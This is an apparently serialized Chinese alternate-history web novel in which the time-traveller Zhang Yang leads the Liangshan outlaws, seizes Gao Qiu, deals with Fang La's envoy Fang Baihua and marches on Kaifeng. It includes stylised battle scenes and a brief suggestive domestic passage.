张扬看着船上赵明诚旁边的李清照也是双眼一亮,她的容貌虽然并不见如何倾国倾城,但两眼却充满灵气。整个人体现的魅力,却是这个时代女性身上少有的知性。

赵明诚夫妇刚刚踏上沙滩,张扬便迎来道:“张扬冒昧请来德甫夫妇,还请二位海涵。”

赵明诚见了张扬,不由道:“寨主似乎有些面熟,不知我们是否见过?”

张扬笑道:“德甫贵人多忘事啊,今年泰安州庙会,我们在彼曾有过一面之缘的。”

赵明诚闻言,想了一阵,笑道:“原来我还欠寨主一顿饭啊,不知这次寨主请我夫妇来,所为何事?”

张扬笑道:“不过有些事情请教,我已备下酒宴,大家且往山上谈吧。”

赵明诚见已经到的人家地头,也只好道:“那便叨扰了。”

众人上的山寨,张扬又令人请来张叔夜,席散后,张扬便让温莲带李清照去山寨游玩。

张扬与赵明诚、张叔夜谈了半天天下大势,见二人还是执迷不悟,便道:“若我说宋朝已注定灭亡,本人便是顺应天意而生,二位可信?”

赵明诚闻言,不由笑道:“敢情寨主还是仙人下凡,活佛转世不成?”

张扬笑道:“不敢,但本人却也非凡人可比。张公乃习武之人,请问我的身手是后天可以练成的吗?”

张叔夜也是自小练武,对自己武艺本来也有些信心,但见到张扬身手后,也知道两人并不在一个层次,甚至可以说有着天壤之别。

听得张扬自称顺应天意而生,心底还真有几分相信,闻言摇头道:“寨主身手确实可称前无古人,后无来者,应该不是后天可以练成的。”

赵明诚却未见过张扬身手的变态,闻言摇头道:“或许寨主天赋过人,这并不足取信天下人。”

张扬见赵明诚如此固执,便又道:“那我便再透漏些天机吧,不出一月,江南方腊必然造反,不消三月东南必成糜烂之势。”

赵明诚闻言,却不以为然的道:“虽然近年朝廷政策有些苛刻,但至多不过有些小的起义,何至糜烂呢?”

张叔夜也附和道:“恐怕寨主言过其实吧。”

张扬见二人都不信,便笑道:“大家不妨来个君子约定,若三月内东南局势糜烂,二位便助我一统天下。不然,我便归顺朝廷。如何?”

张叔夜通过这许多日的了解,却知道梁山才是国家大患。若张扬不归顺,恐怕举全国之兵也奈何不得他,更何况国外还有蛮夷虎视,也容不得国内经年大战。闻言,也知道机不可失,当下便道:“一言为定,若二月内东南无大规模起义,寨主便归顺朝廷。”

张扬也不待赵明诚反应,便道:“好,君子一言,驷马难追。有二位相助,扫平天下,指日可待。德甫一路疲惫,我送你去客房吧。”

赵明诚并不认为江南会有甚大变,又见张扬礼周,便也随张扬往客房而去。

第八十九章 斩首计划

宣和二年十月初九,方腊假托得到上天符牒,率领农民和摩尼教教众,以帮源峒为据点起义,四处攻城掠地。十一月初,方腊自称圣公,改元永乐,置将帅六等,头扎红巾等各色头巾作为标志,建立农民政权。江南各地多有摩尼教众响应,一时间东南震动。

叶春也造出了三百多艘大小海鳅船,又训练了二十几日水军。

高俅见湖水便要封冻,便令人招来叶春。

二人见过礼,高俅便道:“湖水便要封冻了,现在水军可能出战?”

叶春道:“水军已经操练精熟,只待大人下令,便可直捣梁山。”

高俅闻言,尚有些不放心,便道:“如此便好,你先回去做准备,明日我与众将官去看水军演练,若真上的战阵,本帅必有重赏。”

叶春谢过高俅,便告辞出来。

出的帅衙,叶春便把消息通报给梁山探子。

不多时,一只白鸽便飞向梁山。

张扬接的消息,便招来众头领,道:“时机已经成熟,高俅正准备发兵攻打我山寨。为免再损我汉人实力,我欲带几人去捉了高俅,再逼降官兵。林冲、关胜、呼延灼、王焕、徐京五部明日晚间连夜行军往济州,包围官兵大营,水军则直攻船厂。武松可让亲兵换了官军衣甲,明日来济州接应。”

吴用道:“寨主派武松领人去便可,何必亲临险地?”

张扬笑道:“此事关系重大,我便亲自去一趟吧。众将放心,这世间尚无可以留住我的地方。”

众人闻言,也并不怀疑,纷纷唱喏,出去准备。

独有林冲似有心事,落在众人后面。

张扬见状,也猜到他的心思,笑道:“林兄弟放心,高俅我会留给你的。”

林冲闻言,忙转身拜倒道:“多谢寨主成全。”

张扬扶起林冲,道:“你乃山寨老人,私下何必如此?”

林冲见张扬待自己一如往昔,也是心下钦佩,坚定的道:“礼不可废,如今山寨兵多将广,林冲岂可坏了规矩。”

张扬见林冲如此上路,又好言安抚了一阵,便令他去准备。

张扬则带石秀和十名亲兵连夜赶往济州,济州城墙自然拦不住张扬众人。众人进了城,便往山寨探子处歇息。

次日,高俅便领众将来看船。叶春把海鳅船三百余只,分布水面。选十数只船,遍插旌旗,筛锣击鼓,梆子响处,两边水车,一齐踏动,端的是风飞电走。

高俅看了,不由大喜,当即叫取金银赏赐了叶春;其余木匠,各给盘缠,疏放归家。

自高俅帅衙设在济州后,便禁止百姓晚上在城内走动。因此一入夜,城中便变得冷清起来。只有那府衙鼓乐喧天,高俅白日看了战船后,便对战胜梁山充满了信心,与众将官聊了几句军情,便招来歌儿舞女赏玩。

冬季的夜无疑是最难熬的,尤其别人纵酒狂欢,而你却得在寒风中巡逻时,恐怕更有度秒如年的感觉。两个士兵在院内转了两圈,便躲到墙根避风,正闲聊间,却见身前跳下一人来,刚要喝问,便觉脖子一痛,晕了过去。

张扬扶住两人,轻轻学了一声猫叫,石秀便领人翻了进来。

张扬与石秀换了官兵衣甲,便开始在院内巡逻,很快便让十个亲兵接替了院内官兵。接着张扬便与石秀向大厅走去。

守卫大厅的士兵此时却正趴在窗户上看着屋内泻出的一丝春光,张扬从背后便轻松打晕二人。

张扬让两个亲兵接替他们的位置,便闪身进入大厅。

高俅正吃酒间,只见屋外闪进一道身影,所过之处的将领舞女便连连倒下,不由大骇,刚要叫喊,便觉脖子一痛,来人已经捏住自己喉咙。

张扬道:“不要叫喊。”

高俅见自己性命落在人家手里,忙点头道:“都依好汉,还请好汉手下留情。”

张扬见石秀已经进来,便令他从各将身上搜出将令来。问明当值将领,便道:“武松已带亲兵在城外等候,你让他们拿令牌接管城中防务。”

不多时,武松便也率部翻进城,无声无息的接管了城中防务。

张扬又使人带各将令牌去城外军营请各军军都指挥、军都虞候进城。众人虽然疑惑上官深夜召唤,但见到有上官令牌,也都不敢推辞。(北宋禁军百人为都,五都为营,五营为军,十军为厢。军一级的统兵官为军都指挥使,也称军主,副职为军都虞候。)

众人一进帅衙便被张扬亲兵控制起来。

张扬把众将领弄醒,众人见手下中级将官也全部被擒来厅中,不由大骇。

张扬待众人看清形势,便清了清嗓子,道:“我乃梁山张扬,如今胜负已定,我亦不想多流血。识时务者为俊杰,众人可给我个答复。”

众将闻言,也开始考虑起张扬的话来。众人正考虑间,却见高俅已经跪下,叩头道:“小人愿降寨主。”

张扬闻言,却不说话,只是盯着众将看。

其他众将见高俅已经投降,犹豫了一阵,便也纷纷降了。

张扬一一扶起众将,笑道:“有尔等相助,山寨正如虎添翼。”

高俅见张扬似乎忘了自己,忙叩头道:“小人也愿归顺寨主。”

张扬鄙夷的看了高俅一眼,斥道:“你这等祸国殃民之人,我要之何用。来人哪,给我绑了高俅,稍后送往林冲头领处。”

高俅闻言,不由吓的面无人色,刚要求饶,便被张扬亲兵拖了出去。

张扬又好言安抚了众将官一阵,便令众人在府衙各自歇息。众人被分散安排到府衙客房,虽然没了性命之忧,但却也无法入眠。

次日天色刚亮,城外大营值哨的官兵便见梁山军马出现在营外。此时各部才发现营中最大的将官便是只能管五百人的指挥使了。

各指挥使集合好自己麾下五百人,也不敢出营交战,只能看着梁山兵马包围军营。

林冲等部刚刚包围军营,张扬便也带降了的各将出来,让他们招降部下。

官军本来便畏惧梁山兵马,又见主将招降,便也纷纷出营降了‘军也顺利夺的战船。

张扬便就地整编降军,三日后才引兵马往梁山而来。


05-09
天下篇

第一章 方腊起义

却说王黼听得东南起义,只是吩咐两浙路都监带兵围剿,并不上报天子。但高俅兵败身死之事,他却无法瞒骗天子了。只好亲自通报徽宗,此时道君皇帝有一个月不曾临朝视事,听得爱臣身亡,自是大怒。

次日便破例上了早朝,三下静鞭鸣御阙,两班文武列金阶,徽宗便道:“梁山贼寇累劫城池,现又杀害朝廷大臣,实乃反国贼子…可领兵去剿灭此寇。”

众武将早已得知梁山大胜之事,闻言都垂头躲避,生怕皇帝点住自己。

正尴尬间,御史大夫崔靖却出班奏道:“臣闻梁山泊上立一面大旗,上书‘替天行道’四字,此是曜民之术。民心既服,不可加兵。今岁我朝又与金国约定攻辽,不宜再内耗。以臣愚意,此等山间亡命之徒,皆犯官刑,无路可避,才啸聚山林。若降一封丹诏,光禄寺颁给御酒珍羞,差一员大臣,直到梁山泊,好言抚谕,招安来降,异日使其攻辽,公私两便。伏乞陛下圣鉴。”

童贯也对梁山兵马有些畏惧,闻言忙出列奏道:“梁山贼人虽然与禁军不可同日而语,但也有些战力,若使其往边疆征战,也可使辽国伤神一阵。”

徽宗闻言,不由大怒,喝道:“依你等之言,朕之大臣便白死了不成?”

众臣见天子发怒,都避而不言。

王黼此时尚一心要文饰太平,仗着圣券正隆,又摸清徽宗好大喜功,一心想收复燕云的心思,见众臣都不敢再出头,便出班奏道:“圣上息怒,辽金俱乃虎狼之邦,使梁山贼寇为国征战、戍边,正是目下最佳选择。高太尉若得知他之一死,换来圣上彪炳千秋,一定不会反对此议的。”

徽宗闻言,也有些心动,但又不好当即表态,以免使众臣有兔死狗烹的感觉,当下“哼”了一声,便起身拂袖而去。

王黼见状,也已猜到徽宗心思,却也不急,每日只是陪天子游玩。

朝廷尚未决定对付的梁山计策,江南却是渐成糜烂之势。

十一月二十二日,方腊起义军在青溪县全歼两浙路常驻宋军五千人,击杀该路兵马都监蔡遵、颜坦℃后,乘胜进取青溪县。

东南各地也是应者云集≌州石生,湖州陆行儿,婺州朱言、吴邦,永康县陈十四,处州霍成富、陈箍桶等,纷纷领导当地农民,参加起义。台州仙居县吕师囊,越州剡县裘日新,衢州郑魔王等领导当地摩尼教秘密组织起兵响应。湖、常、秀等州农民,也结集徒众,准备攻打州县。各地农民更是纷纷参加义军。

王黼听得此信,这才带众臣劝徽宗招安梁山。徽宗得了台阶,便也差殿前太尉陈宗善为使,赍擎丹诏御酒,前去招安梁山泊大小人数。

是日朝散,陈太尉领了诏敕,回家收拾。不多时,太师府便差人来请。

陈宗善上轿,直到王黼府前下轿,直进节堂内书院中。

二人见了礼,王黼便道:“太尉此行,一为国家干事,二为百姓分忧,军民除患。梁山贼子虽然多有取死之道,但值此特殊时期,也可为国效力。太尉可着些甜言美语,加意抚恤。若成的此事,太尉加官进爵之日当不远矣。”

陈宗善闻言,不由大喜,但仍道:“此事全赖太师说服圣上,下官不过跑跑腿,有圣上天威,再有太师福荫,此事必可成功。”

王黼闻言,满意的点点头,道:“恩,你可放心前去,京中诸事自有本官做主。你先回去准备吧。”

陈宗善闻言,便也告辞而去。

陈宗善还未上路,方腊却又攻克了睦州和寿昌、分水、桐庐、遂安等县。又向西攻下歙州,全歼郭师中部,东进攻克富阳、新城※到之地必烧孔庙,毁神像,杀贪官污吏。方七佛部更是打着“杀朱勔”的旗号,直逼杭州。

杭州是两浙路的首府,又是造作局所在地,花石纲指挥中心之一,百姓受花石纲之害更重,在百姓帮助下,方七佛部没几日便攻入杭州,杀死两浙路制置使陈建、廉访使赵约,知州赵霆逃走。

积怨已久的群众,又在杭州捕捉官吏,发掘蔡京父祖坟墓,暴露其骸骨。

王黼听的东南糜烂,也不敢再瞒骗徽宗,徽宗得知江南又乱,却只是训斥了王黼一番。

次日便又破例再次上朝,文武齐至。

徽宗道:“今有摩尼教在东南作乱,杀官害民,谁可为朕分忧。”

童贯也已得知此事,出班奏道:“臣愿带兵去剿灭反贼。”

徽宗经历了梁山之事,对童贯也不是很放心了,闻言问道:“东南乃国家财赋来源,切不可任其蔓延。卿欲带何处兵马去剿?”

童贯道:“臣欲领熙河、泾源、环庆、鄢延、河东、秦凤六路兵马南下,西北精兵久经战阵,当可尽速剿灭贼人。”

徽宗闻言,这才点点头,任童贯为江、淮、荆、浙等路宣抚使,谭稹为两浙路制置使,殿前副都指挥使刘延庆充宣抚司都统制,又下令调集京畿的禁军和陕西六路蕃、汉兵十五万,准备南下平乱。

王黼也让陈宗善上路往梁山而来。

张扬探的此事,便请来张叔夜、赵明诚,把东南现状告知二人。

张叔夜虽然相信张扬人品,但闻言也不由疑道:“寨主所言当真?”

张扬也并不急起兵,闻言正色道:“张公若不信,我们可再等几日。朝廷已派殿前太尉陈宗善来山寨招安,你们可向他询问此事。只是我却得躲避他几时了。”说完又笑道:“你们可别说我在山寨啊。”

张叔夜闻言,道:“若真如寨主所言,我等当为寨主效力,自然不会说漏寨主行踪。”

张扬也相信二人人格,当下便让二人回去。

陈宗善到的济州,便先令人先传信给梁山。

张扬也派吴用等人下山去迎。

陈宗善到的泊外,见这许多人迎接,对此行也更充满信心。

吴用领众人刚要参拜,陈宗善便下马阻住吴用,后面众好汉本就无心给他行礼,见状便也都挺身而起。

陈宗善道:“众豪杰替天行道,为百姓做了许多事,本官岂敢受众人之礼。”

吴用道:“大人谬赞了,我等不过率性而为,岂比的大人鞠躬尽瘁。山寨已摆下酒宴,大人请往山寨商议。”

陈宗善却是一心要建立功绩,闻言便也率人与吴用一同上山。

上的山寨,陈宗善便要宣旨,吴用才道:“大人恕罪,敝寨主有事不在山上,还请大人稍等几日。”

陈宗善闻言,问道:“不知贵寨主何时才能回来?”

吴用道:“寨主也未明言,不过想来不会太久。大人放心,山寨已为大人安排好食宿,大人且安心住几日,也看看山寨景色。”

陈宗善闻言,也无法可施,只好在梁山住下。

当晚,赵明诚与张叔夜便结伴来陈宗善处打探东南消息。

陈宗善却是赵明诚父亲赵挺之门下,见到赵明诚便道:“德甫怎么也在梁山?”

赵明诚也认出陈宗善,闻言道:“此事说来话长,稍后我再与师兄详叙。前些时候,我有一个友人往江南考究金石了,最近却听得东南大乱,不知师兄知道否?”

陈宗善闻言,也不疑有他,点头道:“十一月,江南方腊便起兵造反了,现下更是席卷两浙路,其他路也多有贼众呼应,若德甫友人在彼的话,恐怕真有些危险。”

赵明诚与张叔夜闻言,不由脸色齐变。

陈宗善只当二人是担心友人,又安慰了几句。

赵明诚才叹了口气,道:“莫非真乃天意,我等也只好依约而行了。”

陈宗善闻言,却是丈二和尚,莫不着头脑,奇道:“德甫此语何意?”

张叔夜也叹了口气,道:“德甫有些忧急过度了,我先扶他去休息吧。异日再来拜访大人。”

陈宗善闻言,便也点点头,嘱咐张叔夜小心护送。

两人出的屋子,便直奔张扬院子。

第二章 方腊遣使

陈宗善在梁山呆了十数日,眼见年关将近,张扬却归期不定,也渐渐失了耐心。只是王黼一心求成,传话让他安心等待,才未敢离去,但官威也是日涨。

这日,正与赵明诚闲谈间,却见吴用进来,道:“我家寨主已经回来了,请大人往聚义厅议事。”

陈宗善闻言,忙起身随吴用来到聚义厅。

张扬见陈宗善来到,便迎来道:“张扬接驾来迟,还请天子恕罪。”

陈宗善闻言,忙道:“梁山景色宜人,本官每日留恋美景,并未觉有几日。还要多谢山寨款待。”

张扬笑道:“大人客气了,眼看年关将近,我等便也不浪费大人时间了,大人尽早宣诏,也好回家团聚。”

陈宗善闻言,便也指点梁山众人迎接圣职,香案摆开,陈宗善便捧出圣职,其中尽是些甜言美语。

张扬领众人接了圣职,道:“天子美意,我等尽已知晓,只是年关将近,不好搬兵。烦大人回去美言一二,待明岁开春,小子便领人马亲往东京谢罪。”

陈宗善见张扬接了圣职,已是大喜,闻言笑道:“寨主放心,沿路艰难,我已看到。待本官回朝,必如实禀明天子,又有太师关照,想来不会有变。”

张扬谢过陈宗善,便令人摆开宴席,共沐“天恩”。

次日,陈宗善便告辞下山,张扬又让赵明诚随他一同上路,又带了大量金银,让其往京师打点。

赵明诚父亲赵挺之曾任过宰相,门生故吏极多。赵明诚到的京师,拜罢故旧,便又花钱打点权奸。

正巧此时,童贯已经带兵南下到苏州,获悉起义军众达数十万,所到之处百姓夹道欢迎。童贯才知事态严重,为了挽回民心,便以天子名义将所有应奉局及花石纲,一概罢免。又将朱勔父子弟侄尽行革职,使得苏、杭人心渐平。

应奉局却是王黼为逢迎天子和搜刮钱财所设,童贯此举虽然削弱了起义军的号召力,但却触犯了王黼的权益。王黼便一面在皇帝面前诋毁童贯,一面夸耀自己招安粱山之功,对梁山之事也多有关照。徽宗便也准了张扬之请。

宣和二年正月,童贯、谭稹分兵两路,由王禀、刘镇等分别率领,向杭州和歙州进发,企图在睦州会合。

方腊此时却错估天下大势,认为宋朝已经腐朽不堪,拒绝了前太学生吕将提出的“直据金陵,先立根本”的建议,只派遣方七佛领兵北伐,方腊自己则率领主力南征,相继攻下婺、衢两州。

方七佛率部一举攻下崇德县,进围杭州东北的秀州,并分兵进入湖州境内。正逢王禀率领东路宋军南下,二部在秀州展开激战,由于起义军缺乏操练。此战方七佛损兵九千,退守杭州。

秀州之战失利,杭州便也暴露在官兵攻击下。王禀部陆续结集,二月进围杭州。方腊此时才率部回援,但起义军兵力仍处于劣势。方腊又不愿放弃血战得来的杭城,拒绝了吕将立即撤出杭州的建议。

经过十几日苦战,城内粮草将尽、伤亡也大增,方腊这才率部撤离杭州,留下方七佛部坚守杭城。二十八日,城内粮草断绝,方七佛被迫率部开城突围,一场激战,只剩下一千余人随着方七佛杀出重围,经富阳等地,退回青溪。

三月一日,方腊再次率部反攻杭州,奈何官军训练精良,起义军失利南撤,所幸各地义军拼死狙击,才使得追击的官军放缓脚步。

方腊逃回青溪帮源洞,忙招来手下商议。

众人见罢礼,方腊便道:“此战朕不慎败于宋军之手,现下宋军东路已经逼近到桐庐,西路宋军也已逼至歙州,若官兵两面来攻我帮源洞,恐无法抵敌。众臣有何良计可转败为胜?”

宰相方肥向前起居万岁,便奏道:“宋军兵强将勇,席卷而来,势难迎敌。好在睦州、歙州各有天险可守,陛下只要派兵固守各地,必可阻击宋军多时。陛下再调南方各州兵马北上勤王,待我军聚齐,当可打败宋军。”

方腊闻言,也点点头,道:“宰相此言正合吾心,先前是朕小觑宋军了,等南方诸将带兵回来,朕再与宋军一决胜负。”

吕将却有些不以为然,出列道:“宋军尽是西北精兵,我军多乃仓促聚拢,缺乏操练,恐无法取胜。臣以为当请北地豪杰起兵威胁汴京,以分宋军兵势,我国才好取胜。”

方腊道:“淮西王庆、河东田虎不过两个大盗,如何敢攻击汴京?”

吕将道:“臣指的是梁山张扬,此人麾下广有精兵强将∥朝各地又守备空虚,若能使其直攻汴京,宋徽宗必然会调童贯大军北上回援,到时我军衔尾追击,当可大破宋军。”

方腊道:“朕闻此人已被宋朝招安,如何会再攻击汴京。”

吕将道:“此人早已拥兵数万,却一直潜伏梁山,使得宋朝君臣对其失了警惕,又打出替天行道的旗号,收买人心。以臣看来此人当乃世之枭雄,虽然接受宋朝招安,又不往东京受封,实在有些蹊跷。陛下可派人游说他起兵直逼汴京,约定日后以大江为界,二分天下,若他真有雄心,必会趁机起兵。”

方腊此人却是勇武过人,谋略不足,一心只想亲手打败宋军,闻言道:“梁山离此路途遥远,恐怕等他出兵,也不济事了。我国还是要靠自己才能打败宋军。”

军师汪公老佛对不看好自家兵马,闻言出列道:“陛下所言有理,但宋军若再派援兵南下,恐怕我国便难以抵挡了。不若遣使往梁山游说,成则可分散宋朝兵力,不成也无伤我国实力。”

方腊见两个主要谋士都出言赞同,便也道:“那依军师看,朕该派何人去游说张扬?”

汪公老佛想了一阵,道:“依臣看,可派百花公主前往,一来公主机智,可堪大用。二来公主美丽不凡,若能与张扬结为姻亲,也好使其尽早起兵。日后也可保其不背盟。”

方腊闻言,怒道:“朕岂可把御妹许配于一个素未谋面之人,此事再议吧。各部沿途狙击宋军,同时急令吕师囊诸部北上。”说完便拂袖而去。

众臣见状,也只好各自散去。

不几日,却传来歙州失陷的消息,起义军只好沿村狙击宋军。但双方实力悬殊,起义军伤亡颇重。南方各将却受到各地宋军牵制,一时无法北上。

吕将与汪公老佛见此情形,只好私下来拜见百花公主。

百花公主听二人分析了一番形势,便也同意北上梁山。

次日早朝,百花公主便上殿奏请出使梁山,方腊见其妹主意已定,只好又拨了宝光如来国师邓元觉护送小妹。

~~~~~~~~~~~~~~~~~~

还有40个精华,大家发个书评,先到先得。

第三章 起兵前夕

由于宋军沿途设卡,整村屠杀摩尼教众。方百花与邓元觉不得不先往西,绕过宋军封锁,再北上梁山。

三月二十四日,宋军攻入桐庐,三日后,王禀派人挖地道,用火药炸塌睦州城墙,起义军撤离睦洲。

四月初,方腊部在睦州往青溪一带与宋军展开阵地战,双方寸土必争,由于童贯的屠杀政策,使得宋军所到之地,百姓横尸遍野。

方百花与邓元觉进入山东地界后,便不时听的梁山张扬的英勇事迹,二人对张扬也都添了几分好奇。

由于王黼和赵明诚的打点,朝廷也似乎忘了梁山一般,并不催促张扬往东京受封。张扬也乐得坐山观虎斗,每日只是分析江南局势,制定日后政策。

这日,张扬正筹划起兵路线时,却听的亲兵报来:“泊外一个自称邓元觉的和尚带着一个女子求见寨主。”

张扬闻言,也是一愣,和尚、女子,这样的组合确实够离奇的。当下也起了好奇心,道:“请他们上山吧。”

方百花二人进泊,见到山边停靠的水军船只,也是暗自惊讶梁山实力。

二人上的山寨,在亲兵带领下径自来到聚义厅。方百花看到厅上端坐的张扬,年轻俊逸,也是美眸一亮。

张扬见二人,一个威猛不亚鲁智深,一个美貌不输三娘,更是奇怪,示意二人坐下,才道:“我便是梁山张扬,不知二位仙乡何处?”

方百花拱手道:“我乃江南圣公胞妹方百花,他是我兄长护国法师邓元觉。”

张扬闻言,心思电转,也已想到他二人来由,当下道:“原来是江南义士,我听的江南大战正酣,二位如何不在彼用功,反来我这荒山野岭?”

方百花见张扬对自己美色视而不见,又直接问出此语,也是一愣,但转瞬便道:“宋军残暴嗜杀,民心已失,不消几时,我国便可击败宋军。只是圣公见北地百姓尚生活在水深火热中,而寨主又拥兵数十万,才派我来请寨主发兵,救百姓于水火中。”

方百花措词无疑都是标准的外交口令,古往今来,使者都会隐瞒己方危机,再找些冠冕堂皇的借口。本也无可厚非。

但张扬眼见一个美女睁着眼,说瞎话,却有种吞了苍蝇的感觉。勉强忍住厌烦,正色道:“我刚刚接到消息,宋军已经逼近到青溪,恐怕江南义军已经是穷途末路了吧。百花公主打的是围魏救赵的心思吧?”

方百花二人一路急赶,只是听的宋军一路大胜,却不知形势变化如此快。方百花听的宋军已经逼到青溪,不由大急,身子一晃,便往一边倒去,索性邓元觉眼明手快,才扶住她。

张扬见状,也顿时觉得自己太过残忍了,补救道:“百花公主也不用太过担心,宋军虽然包围青溪,但起义军还有十数万兵马,若指挥得当,反败为胜亦未可知。”

方百花也已恢复镇定,闻言拱手道:“承寨主吉言,不瞒寨主,百花当初打的主意正是围魏救赵,但此时也正是寨主举兵良机。话尽于此,无论寨主起兵与否,百花却得与兄长共生死。告辞。”

说完转身便要下山。

张扬知道方腊也坚持不了多长时间了,见方百花决意回救兄长,也不忍她死在战场或落于官兵手中,起身道:“百花公主且慢,你一人也改变不了什么形势,不若与我一同出兵,如何?”

方百花本以为张扬此时尚无意出兵,闻言,不由大喜,美丽的容颜也再次绽放出惊人的魅力。刚才的惊吓也使得她心灵失守,自然流露出女性应有的阴柔,转身盈盈一福,柔声道:“多谢寨主援手。”

张扬见方百花表现出柔弱的一面,也是顿觉眼前一亮。张扬在现代便见多了所谓的女强人,在他的眼里她们已取得了和男人一样的地位,而这也是她们所争取的,自然不用再谦让她们,因此也习惯了无情的对待她们。

而一个柔弱的女子却可以使他生出怜香惜玉之心,对她自然也无法下狠手。当下笑道:“百花公主客气了,我先领你们去客房歇息吧。山寨准备一下,便可直攻东京。”

古人欣赏的无疑更是女性的阴柔之美,但方百花从小便刚强果敢,尤其摩尼教对女性又较为宽容,更使得她阳刚十足。触到张扬温柔的眼神,聪慧的她也隐约猜到他对自己态度变化的缘由,为了兄长的大业,当下便又福了一福,柔声道:“全凭寨主吩咐。”

张扬安排方百花二人歇息后,便令人请来吴用、宗泽和戴宗。

三人见过礼,张扬便道:“如今童贯大军已打残方腊部,中原又守备空虚,正是山寨起兵之时。五日后,我们便带兵直取东京,同时给朝廷传递消息,便说我等要往东京受封。”

吴用道:“现下方腊未灭,我等若攻占东京,童贯必会调兵北上,到时方腊死灰复燃,江南又不好收服了。”

张扬笑道:“数日前童贯已经包围青溪,现下恐怕已经攻占青溪了。我等还要等那天子‘旨意’才能起兵,加上沿路蹉跎,到的东京城下,恐怕方腊已经被擒了,更何况童贯得到消息还得十余日,戴宗且传信给赵明诚,让他求一纸圣旨,我等方好去取东京。”

吴用闻言,也知道自己忽略了路上耽搁的时间了。

当下,戴宗便使人传信给赵明诚。

王黼听的梁山要来东京受封,也是大喜,为了夸耀自己功劳,更是大张旗鼓派出官员传旨。

张扬等候旨意之时,方腊却不得不放弃青溪县城,撤回根据地帮源、样桐一带。浙东地区的形势也是直转而下。首先是处州发生了叛变,窃据处州地区起义队伍领导的洪载,把处州城池拱手献给宋军。然后宋军南路从信州扑向衢州、婺州;北路从上虞南下,中路从浦江东攻。

第四章 山东攻略

在等候圣旨的同时,也把逼降的高俅大军整编完毕,除补充各部和十节度伤亡外,又组建了两个万人队,由党世英、党世雄任万夫长。花荣马军也初次满编。如此张扬麾下万人队便达到了二十五个,分别由杨志、林冲、关胜、呼延灼、秦明、鲁智深、卢俊义、晁盖、段鹏举、周信、张清、董平、党世英、党世雄和十节度率领。

待徽宗圣旨一到,张扬便招来林冲、秦明、晁盖。

三人见过礼,张扬便道:“明日林冲带三部向东攻占登州、莱州,之后北上攻占各州,晁盖部在各州留一个千人队驻守便可。晁盖率余部镇守青州,负责山东地区军务,林冲、秦明部北上攻占河北诸州,各部严禁侵扰百姓,违者杀无赦。”

张扬又请来几个培养的管理人才,介绍给三人,让他们去准备行动。张扬也在各方面做出了初步调整。

刑法方面:废除了刺配,株连九族、三族的酷刑。

行政方面:州县官员由朝廷委派,村乡可由县官推举有声望之人担任。

财政方面:全国免赋三年,暂无赋税

宗教方面:允许百姓信仰自由,但剥夺寺庙、道观的土地钱财,禁止占用田地兴建寺庙、道观

土地方面:把从贪官污吏、害人大户、寺庙道观处没收的田地和公田分给贫民(不把全国土地平分,一来是不侵害那些清廉士族和老实地主的权益;二来也是保证短期内不会缺乏劳力,使得各种商业退步;三来是为主角以后往西北、东北移民做准备。)

矿产方面:所有矿产收归国有

张扬回的独院,便见六女正在逗弄孩子,三娘与花雨也已在年初生下一男一女。孩子似乎都继承了张扬的优良基因,各个可爱聪慧。大的四个孩子已经都牙牙学语,看到张扬回来,便奶声奶气的呼喊着“爹爹”。

张扬把六个粉妆玉琢的孩子一一抱过,才对众女道:“我要带兵往东京一行,你们先在山寨等候几日,等形势稍好,我便接你们去东京。”

三娘闻言,道:“夫君,我也想同你一起去。”

张扬搂过三娘,大手也滑到三娘更加丰满的胸脯上,笑道:“你走了,宝宝怎么办?而且莲儿她们还需要你保护呢。等局势稍稳,我便接你们到东京。”

扈三娘忍受着胸部传来的酥痒,娇笑道:“那好吧,只是你一定要快些啊。”

张扬点头道:“一定。”

低头见三娘的上衣已经被挤出的乳汁浸湿,而三娘也是美眸迷离,便对温莲道:“你让侍女把孩子抱出去吧,明天我就要下山了。”

温莲听的张扬又要大被同眠,不由粉脸通红,但也依言让侍女把孩子都抱了出去。

张扬没了约束,便也拉开战幕。

次日,张扬便带大队人马往东京而来。林冲、秦明、晁盖三部也脱队而去。

待三军走远,张扬才请来朝廷使者,道:“适才林冲三人听得我要往东京受封,便带了各自部下往东而去,恐怕他们会劫掠地方,我欲派兵追剿,又恐朝廷怪我擅自调兵,还请大人回报太师,请他拿个主意。”

天使闻言,也不敢自作主张,只好派人飞报东京。

王黼正鼓动徽宗亲自往城外检阅梁山兵马,听的消息,便瞒了徽宗,只是申斥了张扬一番,令张扬自行派兵剿灭。

张扬接的王黼书信,便又招来杨志、王焕、段鹏举、周信、张清五人。

五人到齐,张扬便道:“山东一地已无多少兵马,我已派林冲三部去取。义兄可领五部兵马沿着林冲三部路线走一圈,之后段鹏举部协助晁盖部控制山东。义兄则率其余四部往河北抢占边境要地。若辽兵南下,你等可见机行事。”

五人接令,便去整点兵马。

张扬则带其余兵马继续上路,同时令人加快搜集江南军情。

江南形势却是急转直下,二十四日,宋军向帮源、样桐发起全面总攻。起义军奋战一日,终究不敌西北精锐之师。方腊只好率部分将士隐入洞源里的一个人迹罕至的岩洞,准备天明突围。未想宋军收拢了包围圈,开始搜山,使方腊失去了重新突围的战机。

二十六日,宋军王渊部稗将韩世忠侦知了方腊的下落,全力突袭这个岩洞,几经格斗,方腊、吕将等五十二人被俘。韩世忠正要押俘请功,却被熙河统帅辛兴宗截住洞口,夺了俘虏,吕将等十三人也趁双方械斗之机脱逃。

次日,童贯便派重兵把方腊、方肥、方腊妻邱氏、子方毫等三十九人监送往汴京邀功请赏。

吕将等人得脱后,又投入了战斗。童贯则带兵继续镇压各地起义军。

张扬接的方腊被擒,便也加快行军速度往东京而来。

王黼听的张扬已经距东京城不足百里,便也奏请徽宗往城外阅兵,好夸耀自己功劳,山东各地告急的奏书则被他全部压下。

徽宗却也是个好大喜功之辈,又被王黼在耳边夸耀了多次梁山兵马的骁勇,便也想出城检阅一番。

王黼也领会到徽宗意思,次日早朝,王黼便奏道:“梁山张扬已率众近的东京,彼辈豪杰虽有过错,但现下已受了朝廷招安。臣请天子御驾出城,检阅兵马,一来昭显天威,二来也可使他们沐浴皇恩。”

徽宗正欲应准,太常少卿李纲(李纲宣和元年上疏要求朝廷注意内忧外患问题,被宋徽宗认为议论不合时宜,谪监南剑州沙县税务。宣和七年七月,才被召回朝,此地提前几年)却出班奏道:“彼等久不沐皇恩,其中又多有桀骜不驯之辈,其心不明,若在城外翻变起来,将何解救?”

群臣见有人开了头,便也纷纷进言劝阻。

徽宗见群臣反对,也只好罢了此议,只是又想看看梁山军马,当下道:“只是张扬带兵远来,朕若不检阅一番,恐他们再生枝节。”

